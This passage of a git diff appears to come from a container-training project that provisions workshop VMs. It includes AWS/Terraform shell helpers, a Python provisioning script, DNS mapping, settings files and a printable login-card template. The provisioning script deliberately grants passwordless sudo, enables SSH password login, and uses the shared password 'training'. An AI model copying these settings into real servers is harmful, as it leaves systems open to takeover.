+    result=$(aws ec2 describe-instances --output table \
+        --filter "Name=tag:Name,Values=$TAG" \
+        --query "Reservations[*].Instances[*].[ \
+                        InstanceId, \
+                        State.Name, \
+                        Tags[0].Value, \
+                        PublicIpAddress, \
+                        InstanceType \
+                        ]"
+    )
+    if [[ -z $result ]]; then
+        die "No instances found with tag $TAG in region $AWS_DEFAULT_REGION."
+    else
+        echo "$result"
+    fi
+}
+
+aws_get_instance_ids_by_filter() {
+    FILTER=$1
+    aws ec2 describe-instances --filters $FILTER \
+        --query Reservations[*].Instances[*].InstanceId \
+        --output text | tr "\t" "\n" | tr -d "\r"
+}
+
+aws_get_instance_ids_by_client_token() {
+    TOKEN=$1
+    aws_get_instance_ids_by_filter Name=client-token,Values=$TOKEN
+}
+
+aws_get_instance_ids_by_tag() {
+    aws_get_instance_ids_by_filter Name=tag:Name,Values=$TAG
+}
+
+aws_get_instance_ips_by_tag() {
+    aws ec2 describe-instances --filter "Name=tag:Name,Values=$TAG" \
+        --output text \
+        --query "Reservations[*].Instances[*].PublicIpAddress" \
+        | tr "\t" "\n" \
+        | sort -n -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4 # sort IPs
+}
+
+aws_kill_instances_by_tag() {
+    IDS=$(aws_get_instance_ids_by_tag $TAG)
+    if [ -z "$IDS" ]; then
+        die "Invalid tag."
+    fi
+
+    info "Deleting instances with tag $TAG."
+
+    aws ec2 terminate-instances --instance-ids $IDS \
+        | grep ^TERMINATINGINSTANCES
+
+    info "Deleted instances with tag $TAG."
+}
+
+aws_tag_instances() {
+    OLD_TAG_OR_TOKEN=$1
+    NEW_TAG=$2
+    IDS=$(aws_get_instance_ids_by_client_token $OLD_TAG_OR_TOKEN)
+    [[ -n "$IDS" ]] && aws ec2 create-tags --tag Key=Name,Value=$NEW_TAG --resources $IDS >/dev/null
+    IDS=$(aws_get_instance_ids_by_tag $OLD_TAG_OR_TOKEN)
+    [[ -n "$IDS" ]] && aws ec2 create-tags --tag Key=Name,Value=$NEW_TAG --resources $IDS >/dev/null
+}
+
+aws_get_ami() {
+    ##VERSION##
+    find_ubuntu_ami -r $AWS_DEFAULT_REGION -a amd64 -v 18.04 -t hvm:ebs -N -q
+}

prepare-vms/lib/infra/generic.sh

@@ -0,0 +1,8 @@
+infra_start() {
+	COUNT=$1
+	info "You should now run your provisioning commands for $COUNT machines."
+	info "Note: no machines have been automatically created!"
+	info "Once done, put the list of IP addresses in tags/$TAG/ips.txt"
+	info "(one IP address per line, without any comments or extra lines)."
+	touch tags/$TAG/ips.txt
+}

prepare-vms/lib/infra/openstack.sh

@@ -0,0 +1,20 @@
+infra_start() {
+	COUNT=$1
+
+	cp terraform/*.tf tags/$TAG
+	(
+		cd tags/$TAG
+		terraform init
+		echo prefix = \"$TAG\" >> terraform.tfvars
+		echo count = \"$COUNT\" >> terraform.tfvars
+		terraform apply -auto-approve
+		terraform output ip_addresses > ips.txt
+	)
+}
+
+infra_stop() {
+	(
+		cd tags/$TAG
+		terraform destroy -auto-approve
+	)
+}

prepare-vms/lib/ips-txt-to-html.py

@@ -1,20 +1,15 @@
-#!/usr/bin/env python
+#!/usr/bin/env python3
 import os
 import sys
 import yaml
 import jinja2
 
-def prettify(l):
-    l = [ip.strip() for ip in l]
-    ret = [ "node{}: <code>{}</code>".format(i+1, s) for (i, s) in zip(range(len(l)), l) ]
-    return ret
 
 # Read settings from user-provided settings file
-SETTINGS = yaml.load(open(sys.argv[1]))
-
-clustersize = SETTINGS["clustersize"]
+context = yaml.safe_load(open(sys.argv[1]))
 
 ips = list(open("ips.txt"))
+clustersize = context["clustersize"]
 
 print("---------------------------------------------")
 print("   Number of IPs: {}".format(len(ips)))
@@ -30,21 +25,32 @@ while ips:
     ips = ips[clustersize:]
     clusters.append(cluster)
 
-template_file_name = SETTINGS["cards_template"]
-template = jinja2.Template(open(template_file_name).read())
+context["clusters"] = clusters
+
+template_file_name = context["cards_template"]
+template_file_path = os.path.join(
+    os.path.dirname(__file__),
+    "..",
+    "templates",
+    template_file_name
+    )
+template = jinja2.Template(open(template_file_path).read())
 with open("ips.html", "w") as f:
-	f.write(template.render(clusters=clusters, **SETTINGS))
+	f.write(template.render(**context))
 print("Generated ips.html")
 
+
 try:
     import pdfkit
+    paper_size = context["paper_size"]
+    margin = {"A4": "0.5cm", "Letter": "0.2in"}[paper_size]
     with open("ips.html") as f:
         pdfkit.from_file(f, "ips.pdf", options={
-            "page-size": SETTINGS["paper_size"],
-            "margin-top": SETTINGS["paper_margin"],
-            "margin-bottom": SETTINGS["paper_margin"],
-            "margin-left": SETTINGS["paper_margin"],
-            "margin-right": SETTINGS["paper_margin"],
+            "page-size": paper_size,
+            "margin-top": margin,
+            "margin-bottom": margin,
+            "margin-left": margin,
+            "margin-right": margin,
             })
     print("Generated ips.pdf")
 except ImportError:

prepare-vms/lib/postprep.py

@@ -12,6 +12,7 @@ config = yaml.load(open("/tmp/settings.yaml"))
 COMPOSE_VERSION = config["compose_version"]
 MACHINE_VERSION = config["machine_version"]
 CLUSTER_SIZE = config["clustersize"]
+CLUSTER_PREFIX = config["clusterprefix"]
 ENGINE_VERSION = config["engine_version"]
 DOCKER_USER_PASSWORD = config["docker_user_password"]
 
@@ -64,6 +65,15 @@ system("""sudo -u docker tee -a /home/docker/.bashrc <<SQRL
 export PS1='\e[1m\e[31m[{}] \e[32m(\\$(docker-prompt)) \e[34m\u@\h\e[35m \w\e[0m\n$ '
 SQRL""".format(ipv4))
 
+# Bigger history, in a different file, and saved before executing each command
+system("""sudo -u docker tee -a /home/docker/.bashrc <<SQRL
+export HISTSIZE=9999
+export HISTFILESIZE=9999
+shopt -s histappend
+trap 'history -a' DEBUG
+export HISTFILE=~/.history
+SQRL""")
+
 # Custom .vimrc
 system("""sudo -u docker tee /home/docker/.vimrc <<SQRL
 syntax on
@@ -72,8 +82,29 @@ set expandtab
 set number
 set shiftwidth=2
 set softtabstop=2
+set nowrap
 SQRL""")
 
+# Custom .tmux.conf
+system(
+    """sudo -u docker tee /home/docker/.tmux.conf <<SQRL
+bind h select-pane -L
+bind j select-pane -D
+bind k select-pane -U
+bind l select-pane -R
+
+# Allow using mouse to switch panes
+set -g mouse on
+
+# Make scrolling with wheels work
+
+bind -n WheelUpPane if-shell -F -t = "#{mouse_any_flag}" "send-keys -M" "if -Ft= '#{pane_in_mode}' 'send-keys -M' 'select-pane -t=; copy-mode -e; send-keys -M'"
+bind -n WheelDownPane select-pane -t= \; send-keys -M
+
+SQRL"""
+)
+
+
 # add docker user to sudoers and allow password authentication
 system("""sudo tee /etc/sudoers.d/docker <<SQRL
 docker ALL=(ALL) NOPASSWD:ALL
@@ -83,7 +114,8 @@ system("sudo sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /e
 
 system("sudo service ssh restart")
 system("sudo apt-get -q update")
-system("sudo apt-get -qy install git jq python-pip")
+system("sudo apt-get -qy install git jq")
+system("sudo apt-get -qy install emacs-nox joe")
 
 #######################
 ### DOCKER INSTALLS ###
@@ -98,7 +130,6 @@ system("sudo apt-get -q update")
 system("sudo apt-get -qy install docker-ce")
 
 ### Install docker-compose
-#system("sudo pip install -U docker-compose=={}".format(COMPOSE_VERSION))
 system("sudo curl -sSL -o /usr/local/bin/docker-compose https://github.com/docker/compose/releases/download/{}/docker-compose-{}-{}".format(COMPOSE_VERSION, platform.system(), platform.machine()))
 system("sudo chmod +x /usr/local/bin/docker-compose")
 system("docker-compose version")
@@ -122,7 +153,7 @@ addresses = list(l.strip() for l in sys.stdin)
 assert ipv4 in addresses
 
 def makenames(addrs):
-    return [ "node%s"%(i+1) for i in range(len(addrs)) ]
+    return [ "%s%s"%(CLUSTER_PREFIX, i+1) for i in range(len(addrs)) ]
 
 while addresses:
     cluster = addresses[:CLUSTER_SIZE]
@@ -136,15 +167,21 @@ while addresses:
     print(cluster)
 
     mynode = cluster.index(ipv4) + 1
-    system("echo node{} | sudo -u docker tee /tmp/node".format(mynode))
-    system("echo node{} | sudo tee /etc/hostname".format(mynode))
-    system("sudo hostname node{}".format(mynode))
+    system("echo {}{} | sudo tee /etc/hostname".format(CLUSTER_PREFIX, mynode))
+    system("sudo hostname {}{}".format(CLUSTER_PREFIX, mynode))
     system("sudo -u docker mkdir -p /home/docker/.ssh")
     system("sudo -u docker touch /home/docker/.ssh/authorized_keys")
 
+    # Create a convenience file to easily check if we're the first node
     if ipv4 == cluster[0]:
-        # If I'm node1 and don't have a private key, generate one (with empty passphrase)
+        system("sudo ln -sf /bin/true /usr/local/bin/i_am_first_node")
+        # On the first node, if we don't have a private key, generate one (with empty passphrase)
         system("sudo -u docker [ -f /home/docker/.ssh/id_rsa ] || sudo -u docker ssh-keygen -t rsa -f /home/docker/.ssh/id_rsa -P ''")
+    else:
+        system("sudo ln -sf /bin/false /usr/local/bin/i_am_first_node")
+    # Record the IPV4 and name of the first node
+    system("echo {} | sudo tee /etc/ipv4_of_first_node".format(cluster[0]))
+    system("echo {} | sudo tee /etc/name_of_first_node".format(names[0]))
 
 FINISH = time.time()
 duration = "Initial deployment took {}s".format(str(FINISH - START)[:5])

prepare-vms/lib/pssh.sh

@@ -1,12 +1,17 @@
 # This file can be sourced in order to directly run commands on
-# a batch of VMs whose IPs are located in ips.txt of the directory in which
+# a group of VMs whose IPs are located in ips.txt of the directory in which
 # the command is run.
 
 pssh() {
-    HOSTFILE="ips.txt"
+    if [ -z "$TAG" ]; then
+        >/dev/stderr echo "Variable \$TAG is not set."
+        return
+    fi
+
+    HOSTFILE="tags/$TAG/ips.txt"
 
     [ -f $HOSTFILE ] || {
-        >/dev/stderr echo "No hostfile found at $HOSTFILE"
+        >/dev/stderr echo "Hostfile $HOSTFILE not found."
         return
     }
 

prepare-vms/lib/tailhist.html

@@ -0,0 +1,42 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <title>bash history</title>
+    <style>
+      #log {
+        font: bold 24px courier;
+      }
+
+      #log div:last-child {
+        background: yellow;
+      }
+    </style>
+  </head>
+  <body>
+
+    <div id="log"></div>
+
+    <script>
+      var ws = new WebSocket('ws://' + (location.host ? location.host : "localhost:8080") + "/");
+      var log = document.getElementById('log');
+      var echo = function(text) {
+        var line = document.createElement('div');
+        line.textContent = text;
+        log.appendChild(line);
+        line.scrollIntoView();
+      }
+      ws.onopen = function() {
+        document.body.style.backgroundColor = '#cfc';
+      };
+      ws.onclose = function() {
+        document.body.style.backgroundColor = '#fcc';
+        echo("Disconnected from server. Try to reload this page?");
+      };
+      ws.onmessage = function(event) {
+        echo(event.data);
+      };
+    </script>
+
+  </body>
+</html>
+

prepare-vms/map-dns.py

@@ -0,0 +1,49 @@
+#!/usr/bin/env python
+import os
+import requests
+import yaml
+
+# configurable stuff
+domains_file = "../../plentydomains/domains.txt"
+config_file = os.path.join(
+	os.environ["HOME"], ".config/gandi/config.yaml")
+tag = "test"
+apiurl = "https://dns.api.gandi.net/api/v5/domains"
+
+# inferred stuff
+domains = open(domains_file).read().split()
+apikey = yaml.safe_load(open(config_file))["apirest"]["key"]
+ips = open(f"tags/{tag}/ips.txt").read().split()
+settings_file = f"tags/{tag}/settings.yaml"
+clustersize = yaml.safe_load(open(settings_file))["clustersize"]
+
+# now do the fucking work
+while domains and ips:
+	domain = domains[0]
+	domains = domains[1:]
+	cluster = ips[:clustersize]
+	ips = ips[clustersize:]
+	print(f"{domain} => {cluster}")
+	zone = ""
+	node = 0
+	for ip in cluster:
+		node += 1
+		zone += f"@ 300 IN A {ip}\n"
+		zone += f"* 300 IN A {ip}\n"
+		zone += f"node{node} 300 IN A {ip}\n"
+	r = requests.put(
+		f"{apiurl}/{domain}/records",
+		headers={"x-api-key": apikey},
+		data=zone)
+	print(r.text)
+
+	#r = requests.get(
+	#	f"{apiurl}/{domain}/records",
+	#	headers={"x-api-key": apikey},
+	#	)
+
+if domains:
+	print(f"Good, we have {len(domains)} domains left.")
+
+if ips:
+	print(f"Crap, we have {len(ips)} IP addresses left.")

prepare-vms/settings/admin-dmuc.yaml

@@ -0,0 +1,23 @@
+# Number of VMs per cluster
+clustersize: 1
+
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: dmuc
+
+# Jinja2 template to use to generate ready-to-cut cards
+cards_template: cards.html
+
+# Use "Letter" in the US, and "A4" everywhere else
+paper_size: A4
+
+# This can be "test" or "stable"
+engine_version: stable
+
+# These correspond to the version numbers visible on their respective GitHub release pages
+compose_version: 1.24.1
+machine_version: 0.14.0
+
+# Password used to connect with the "docker user"
+docker_user_password: training
+
+image:

prepare-vms/settings/admin-kubenet.yaml

@@ -0,0 +1,24 @@
+# Number of VMs per cluster
+clustersize: 3
+
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: kubenet
+
+# Jinja2 template to use to generate ready-to-cut cards
+cards_template: cards.html
+
+# Use "Letter" in the US, and "A4" everywhere else
+paper_size: A4
+
+# This can be "test" or "stable"
+engine_version: stable
+
+# These correspond to the version numbers visible on their respective GitHub release pages
+compose_version: 1.24.1
+machine_version: 0.14.0
+
+# Password used to connect with the "docker user"
+docker_user_password: training
+
+clusternumber: 100
+image:

prepare-vms/settings/admin-kuberouter.yaml

@@ -0,0 +1,24 @@
+# Number of VMs per cluster
+clustersize: 3
+
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: kuberouter
+
+# Jinja2 template to use to generate ready-to-cut cards
+cards_template: cards.html
+
+# Use "Letter" in the US, and "A4" everywhere else
+paper_size: A4
+
+# This can be "test" or "stable"
+engine_version: stable
+
+# These correspond to the version numbers visible on their respective GitHub release pages
+compose_version: 1.24.1
+machine_version: 0.14.0
+
+# Password used to connect with the "docker user"
+docker_user_password: training
+
+clusternumber: 200
+image:

prepare-vms/settings/admin-test.yaml

@@ -0,0 +1,23 @@
+# Number of VMs per cluster
+clustersize: 3
+
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: test
+
+# Jinja2 template to use to generate ready-to-cut cards
+cards_template: cards.html
+
+# Use "Letter" in the US, and "A4" everywhere else
+paper_size: A4
+
+# This can be "test" or "stable"
+engine_version: stable
+
+# These correspond to the version numbers visible on their respective GitHub release pages
+compose_version: 1.24.1
+machine_version: 0.14.0
+
+# Password used to connect with the "docker user"
+docker_user_password: training
+
+image:

prepare-vms/settings/csv.yaml

@@ -1,5 +1,8 @@
 # Number of VMs per cluster
 clustersize: 5
 
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: node
+
 # Jinja2 template to use to generate ready-to-cut cards
 cards_template: clusters.csv

prepare-vms/settings/example.yaml

@@ -3,24 +3,20 @@
 # Number of VMs per cluster
 clustersize: 5
 
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: node
+
 # Jinja2 template to use to generate ready-to-cut cards
 cards_template: cards.html
 
 # Use "Letter" in the US, and "A4" everywhere else
 paper_size: Letter
 
-# Feel free to reduce this if your printer can handle it
-paper_margin: 0.2in
-
-# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
-# If you print (or generate a PDF) using ips.html, they will be ignored.
-# (The equivalent parameters must be set from the browser's print dialog.)
-
 # This can be "test" or "stable"
 engine_version: test
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.18.0
+compose_version: 1.24.1
 machine_version: 0.13.0
 
 # Password used to connect with the "docker user"

prepare-vms/settings/fundamentals.yaml

@@ -3,24 +3,20 @@
 # Number of VMs per cluster
 clustersize: 1
 
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: node
+
 # Jinja2 template to use to generate ready-to-cut cards
 cards_template: cards.html
 
 # Use "Letter" in the US, and "A4" everywhere else
 paper_size: Letter
 
-# Feel free to reduce this if your printer can handle it
-paper_margin: 0.2in
-
-# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
-# If you print (or generate a PDF) using ips.html, they will be ignored.
-# (The equivalent parameters must be set from the browser's print dialog.)
-
 # This can be "test" or "stable"
 engine_version: stable
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.22.0
+compose_version: 1.25.4
 machine_version: 0.15.0
 
 # Password used to connect with the "docker user"

prepare-vms/settings/jerome.yaml

@@ -0,0 +1,22 @@
+# Number of VMs per cluster
+clustersize: 4
+
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: node
+
+# Jinja2 template to use to generate ready-to-cut cards
+cards_template: cards.html
+
+# Use "Letter" in the US, and "A4" everywhere else
+paper_size: Letter
+
+# This can be "test" or "stable"
+engine_version: stable
+
+# These correspond to the version numbers visible on their respective GitHub release pages
+compose_version: 1.25.4
+machine_version: 0.14.0
+
+# Password used to connect with the "docker user"
+docker_user_password: training
+

prepare-vms/settings/kube101.html

@@ -1,106 +0,0 @@
-{# Feel free to customize or override anything in there! #}
-{%- set url = "http://container.training/" -%}
-{%- set pagesize = 12 -%}
-{%- if clustersize == 1 -%}
-    {%- set workshop_name = "Docker workshop" -%}
-    {%- set cluster_or_machine = "machine" -%}
-    {%- set this_or_each = "this" -%}
-    {%- set machine_is_or_machines_are = "machine is" -%}
-    {%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
-{%- else -%}
-    {%- set workshop_name = "Kubernetes workshop" -%}
-    {%- set cluster_or_machine = "cluster" -%}
-    {%- set this_or_each = "each" -%}
-    {%- set machine_is_or_machines_are = "machines are" -%}
-    {%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
-    {%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
-    {%- set image_src = image_src_kube -%}
-{%- endif -%}
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head><style>
-body, table {
-    margin: 0;
-    padding: 0;
-    line-height: 1em;
-    font-size: 14px;
-}
-
-table {
-    border-spacing: 0;
-    margin-top: 0.4em;
-    margin-bottom: 0.4em;
-    border-left: 0.8em double grey;
-    padding-left: 0.4em;
-}
-
-div {
-    float: left;
-    border: 1px dotted black;
-    padding-top: 1%;
-    padding-bottom: 1%;
-    /* columns * (width+left+right) < 100% */
-    width: 21.5%;
-    padding-left: 1.5%;
-    padding-right: 1.5%;
-}
-
-p {
-    margin: 0.4em 0 0.4em 0;
-}
-
-img {
-    height: 4em;
-    float: right;
-    margin-right: -0.4em;
-}
-
-.logpass {
-    font-family: monospace;
-    font-weight: bold;
-}
-
-.pagebreak {
-    page-break-after: always;
-    clear: both;
-    display: block;
-    height: 8px;
-}
-</style></head>
-<body>
-{% for cluster in clusters %}
-    {% if loop.index0>0 and loop.index0%pagesize==0 %}
-        <span class="pagebreak"></span>
-    {% endif %}
-    <div>
-
-        <p>
-            Here is the connection information to your very own
-            {{ cluster_or_machine }} for this {{ workshop_name }}.
-            You can connect to {{ this_or_each }} VM with any SSH client.
-        </p>
-        <p>
-            <img src="{{ image_src }}" />
-            <table>
-                <tr><td>login:</td></tr>
-                <tr><td class="logpass">docker</td></tr>
-                <tr><td>password:</td></tr>
-                <tr><td class="logpass">{{ docker_user_password }}</td></tr>
-            </table>
-
-        </p>
-        <p>
-            Your {{ machine_is_or_machines_are }}:
-            <table>
-                {% for node in cluster %}
-                <tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
-                {% endfor %}
-            </table>
-        </p>
-        <p>You can find the slides at:
-            <center>{{ url }}</center>
-        </p>
-    </div>
-{% endfor %}
-</body>
-</html>

prepare-vms/settings/kube101.yaml

@@ -3,25 +3,22 @@
 # Number of VMs per cluster
 clustersize: 3
 
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: node
+
 # Jinja2 template to use to generate ready-to-cut cards
-cards_template: settings/kube101.html
+cards_template: cards.html
 
 # Use "Letter" in the US, and "A4" everywhere else
 paper_size: Letter
 
-# Feel free to reduce this if your printer can handle it
-paper_margin: 0.2in
-
-# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
-# If you print (or generate a PDF) using ips.html, they will be ignored.
-# (The equivalent parameters must be set from the browser's print dialog.)
-
 # This can be "test" or "stable"
 engine_version: stable
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.21.1
+compose_version: 1.24.1
 machine_version: 0.14.0
 
 # Password used to connect with the "docker user"
-docker_user_password: training
+docker_user_password: training
+

prepare-vms/settings/swarm.yaml

@@ -3,25 +3,21 @@
 # Number of VMs per cluster
 clustersize: 3
 
+# The hostname of each node will be clusterprefix + a number
+clusterprefix: node
+
 # Jinja2 template to use to generate ready-to-cut cards
 cards_template: cards.html
 
 # Use "Letter" in the US, and "A4" everywhere else
 paper_size: Letter
 
-# Feel free to reduce this if your printer can handle it
-paper_margin: 0.2in
-
-# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
-# If you print (or generate a PDF) using ips.html, they will be ignored.
-# (The equivalent parameters must be set from the browser's print dialog.)
-
 # This can be "test" or "stable"
 engine_version: stable
 
 # These correspond to the version numbers visible on their respective GitHub release pages
-compose_version: 1.21.1
-machine_version: 0.14.0
+compose_version: 1.24.1
+machine_version: 0.15.0
 
 # Password used to connect with the "docker user"
-docker_user_password: training
+docker_user_password: training

prepare-vms/setup-admin-clusters.sh

@@ -0,0 +1,80 @@
+#!/bin/sh
+set -e
+
+retry () {
+	N=$1
+	I=0
+	shift
+
+	while ! "$@"; do
+		I=$(($I+1))
+		if [ $I -gt $N ]; then
+			echo "FAILED, ABORTING"
+			exit 1
+		fi
+		echo "FAILED, RETRYING ($I/$N)"
+	done
+}
+
+export AWS_INSTANCE_TYPE=t3a.small
+
+INFRA=infra/aws-eu-west-3
+
+STUDENTS=2
+
+PREFIX=$(date +%Y-%m-%d-%H-%M)
+
+SETTINGS=admin-dmuc
+TAG=$PREFIX-$SETTINGS
+./workshopctl start \
+	--tag $TAG \
+	--infra $INFRA \
+	--settings settings/$SETTINGS.yaml \
+	--count $STUDENTS
+
+retry 5 ./workshopctl deploy $TAG
+retry 5 ./workshopctl disabledocker $TAG
+retry 5 ./workshopctl kubebins $TAG
+./workshopctl cards $TAG
+
+SETTINGS=admin-kubenet
+TAG=$PREFIX-$SETTINGS
+./workshopctl start \
+	--tag $TAG \
+	--infra $INFRA \
+	--settings settings/$SETTINGS.yaml \
+	--count $((3*$STUDENTS))
+
+retry 5 ./workshopctl disableaddrchecks $TAG
+retry 5 ./workshopctl deploy $TAG
+retry 5 ./workshopctl kubebins $TAG
+./workshopctl cards $TAG
+
+SETTINGS=admin-kuberouter
+TAG=$PREFIX-$SETTINGS
+./workshopctl start \
+	--tag $TAG \
+	--infra $INFRA \
+	--settings settings/$SETTINGS.yaml \
+	--count $((3*$STUDENTS))
+
+retry 5 ./workshopctl disableaddrchecks $TAG
+retry 5 ./workshopctl deploy $TAG
+retry 5 ./workshopctl kubebins $TAG
+./workshopctl cards $TAG
+
+#INFRA=infra/aws-us-west-1
+
+export AWS_INSTANCE_TYPE=t3a.medium
+
+SETTINGS=admin-test
+TAG=$PREFIX-$SETTINGS
+./workshopctl start \
+	--tag $TAG \
+	--infra $INFRA \
+	--settings settings/$SETTINGS.yaml \
+	--count $((3*$STUDENTS))
+
+retry 5 ./workshopctl deploy $TAG
+retry 5 ./workshopctl kube $TAG 1.15.9
+./workshopctl cards $TAG

prepare-vms/templates/cards.html

@@ -0,0 +1,290 @@
+{#
+   The variables below can be customized here directly, or in your
+   settings.yaml file. Any variable in settings.yaml will be exposed
+   in here as well.
+#}
+
+{%- set url = url
+    | default("http://FIXME.container.training/") -%}
+{%- set pagesize = pagesize
+    | default(9) -%}
+{%- set lang = lang
+    | default("en") -%}
+{%- set event = event
+    | default("training session") -%}
+{%- set backside = backside
+    | default(False) -%}
+{%- set image = image
+    | default("kube") -%}
+{%- set clusternumber = clusternumber
+    | default(None) -%}
+{%- if qrcode == True -%}
+    {%- set qrcode = "https://container.training/q" -%}
+{%- elif qrcode -%}
+    {%- set qrcode = qrcode -%}
+{%- endif -%}
+
+{# You can also set img_bottom_src instead. #}
+{%- set img_logo_src = {
+	"docker": "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png",
+	"swarm": "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png",
+	"kube": "https://avatars1.githubusercontent.com/u/13629408",
+	"enix": "https://enix.io/static/img/logos/logo-domain-cropped.png",
+    }[image] -%}
+{%- if lang == "en" and clustersize == 1 -%}
+	{%- set intro -%}
+	Here is the connection information to your very own
+	machine for this {{ event }}.
+	You can connect to this VM with any SSH client.
+	{%- endset -%}
+    {%- set listhead -%}
+    Your machine is:
+	{%- endset -%}
+{%- endif -%}
+{%- if lang == "en" and clustersize != 1 -%}
+	{%- set intro -%}
+	Here is the connection information to your very own
+	cluster for this {{ event }}.
+	You can connect to each VM with any SSH client.
+	{%- endset -%}
+    {%- set listhead -%}
+    Your machines are:
+	{%- endset -%}
+{%- endif -%}
+{%- if lang == "fr" and clustersize == 1 -%}
+	{%- set intro -%}
+	Voici les informations permettant de se connecter à votre
+	machine pour cette formation.
+	Vous pouvez vous connecter à cette machine virtuelle
+	avec n'importe quel client SSH.
+	{%- endset -%}
+    {%- set listhead -%}
+    Adresse IP:
+	{%- endset -%}
+{%- endif -%}
+{%- if lang == "en" and clusterprefix != "node" -%}
+	{%- set intro -%}
+    Here is the connection information for the
+    <strong>{{ clusterprefix }}</strong> environment.
+	{%- endset -%}
+{%- endif -%}
+{%- if lang == "fr" and clustersize != 1 -%}
+	{%- set intro -%}
+	Voici les informations permettant de se connecter à votre
+	cluster pour cette formation.
+	Vous pouvez vous connecter à chaque machine virtuelle
+	avec n'importe quel client SSH.
+	{%- endset -%}
+    {%- set listhead -%}
+	Adresses IP:
+	{%- endset -%}
+{%- endif -%}
+{%- if lang == "en"  -%}
+	{%- set slides_are_at -%}
+	You can find the slides at:
+	{%- endset -%}
+{%- endif -%}
+{%- if lang == "fr" -%}
+	{%- set slides_are_at -%}
+  	Le support de formation est à l'adresse suivante :
+	{%- endset -%}
+{%- endif -%}
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<style>
+@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
+
+{% if paper_size == "A4" %}
+@page {
+    size: A4; /* Change from the default size of A4 */
+    margin: 0.5cm; /* Set margin on each page */
+}
+body {
+    /* this is A4 minus 0.5cm margins */
+	width: 20cm;
+	height: 28.7cm;
+}
+{% elif paper_size == "Letter" %}
+@page {
+	size: Letter;
+	margin: 0.2in;
+}
+body {
+	/* this is Letter minus 0.2in margins */
+	width: 8.6in;
+	heigth: 10.6in;
+}
+{% endif %}
+
+
+body, table {
+    margin: 0;
+    padding: 0;
+    line-height: 1em;
+    font-size: 15px;
+    font-family: 'Slabo 27px';
+}
+
+table {
+    border-spacing: 0;
+    margin-top: 0.4em;
+    margin-bottom: 0.4em;
+    border-left: 0.8em double grey;
+    padding-left: 0.4em;
+}
+
+div {
+    float: left;
+    border: 1px dotted black;
+    {% if backside %}
+    height: 33%;
+    {% endif %}
+    /* columns * (width+left+right) < 100% */
+    /*
+    width: 24.8%;
+    */
+    /**/
+    width: 33%;
+    /**/    
+}
+
+p {
+    margin: 0.8em;
+}
+
+div.back {
+	border: 1px dotted grey;
+}
+
+span.scale {
+	white-space: nowrap;
+}
+
+img.logo {
+    height: 4.5em;
+    float: right;
+ }
+
+img.bottom {
+    height: 2.5em;
+    display: block;
+    margin: 0.5em auto;
+}
+
+.qrcode img {
+    width: 40%;
+    margin: 1em;
+}
+
+.logpass {
+    font-family: monospace;
+    font-weight: bold;
+}
+
+.pagebreak {
+    page-break-after: always;
+    clear: both;
+    display: block;
+    height: 0;
+}
+</style>
+<script type="text/javascript" src="https://cdn.rawgit.com/davidshimjs/qrcodejs/gh-pages/qrcode.min.js"></script>
+<script type="text/javascript">
+function qrcodes() {
+	[].forEach.call(
+		document.getElementsByClassName("qrcode"),
+		(e, index) => {
+			new QRCode(e, {
+				text: "{{ qrcode }}",
+				correctLevel: QRCode.CorrectLevel.L
+			});
+		}
+	);
+}
+
+function scale() {
+	[].forEach.call(
+		document.getElementsByClassName("scale"),
+		(e, index) => {
+			var text_width = e.getBoundingClientRect().width;
+			var box_width = e.parentElement.getBoundingClientRect().width;
+			var percent = 100 * box_width / text_width + "%";
+			e.style.fontSize = percent;
+		}
+	);
+}
+</script>
+</head>
+<body onload="qrcodes(); scale();">
+{% for cluster in clusters %}
+    <div>
+        <p>{{ intro }}</p>
+        <p>
+            {% if img_logo_src %}
+            <img class="logo" src="{{ img_logo_src }}" />
+            {% endif %}
+            <table>
+            	{% if clusternumber != None %}
+	            <tr><td>cluster:</td></tr>
+	            <tr><td class="logpass">{{ clusternumber + loop.index }}</td></tr>
+            	{% endif %}
+                <tr><td>login:</td></tr>
+                <tr><td class="logpass">docker</td></tr>
+                <tr><td>password:</td></tr>
+                <tr><td class="logpass">{{ docker_user_password }}</td></tr>
+            </table>
+
+        </p>
+        <p>
+            {{ listhead }}
+            <table>
+                {% for node in cluster %}
+                <tr>
+                	<td>{{ clusterprefix }}{{ loop.index }}:</td>
+                	<td>{{ node }}</td>
+                </tr>
+                {% endfor %}
+            </table>
+        </p>
+
+        <p>
+            {% if url %}
+        	{{ slides_are_at }}
+            <p>
+                <span class="scale">{{ url }}</span>
+            </p>
+            {% endif %}
+            {% if img_bottom_src %}
+            <img class="bottom" src="{{ img_bottom_src }}" />
+            {% endif %}
+        </p>
+    </div>
+    {% if loop.index%pagesize==0 or loop.last %}
+        <span class="pagebreak"></span>
+        {% if backside %}
+			{% for x in range(pagesize) %}
+		        <div class="back">
+				<p>Thanks for attending
+				"Getting Started With Kubernetes and Container Orchestration"
+				during CONFERENCE in Month YYYY!</p>
+				<p>If you liked that workshop,
